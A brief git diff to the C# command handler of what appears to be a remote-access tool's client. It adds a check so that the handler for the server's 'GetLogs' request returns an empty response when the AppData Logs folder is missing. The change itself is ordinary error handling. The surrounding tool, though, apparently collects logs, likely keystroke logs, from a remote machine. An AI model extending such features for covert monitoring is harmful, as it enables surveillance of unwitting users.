diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 6cccdf80..2da30a86 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -384,6 +384,12 @@ public static void HandleGetLogs(Packets.ServerPackets.GetLogs command, Client c int index = 1; string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; + if (!Directory.Exists(path)) + { + new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); + return; + } + FileInfo[] iFiles = new DirectoryInfo(path).GetFiles(); if (iFiles.Length == 0)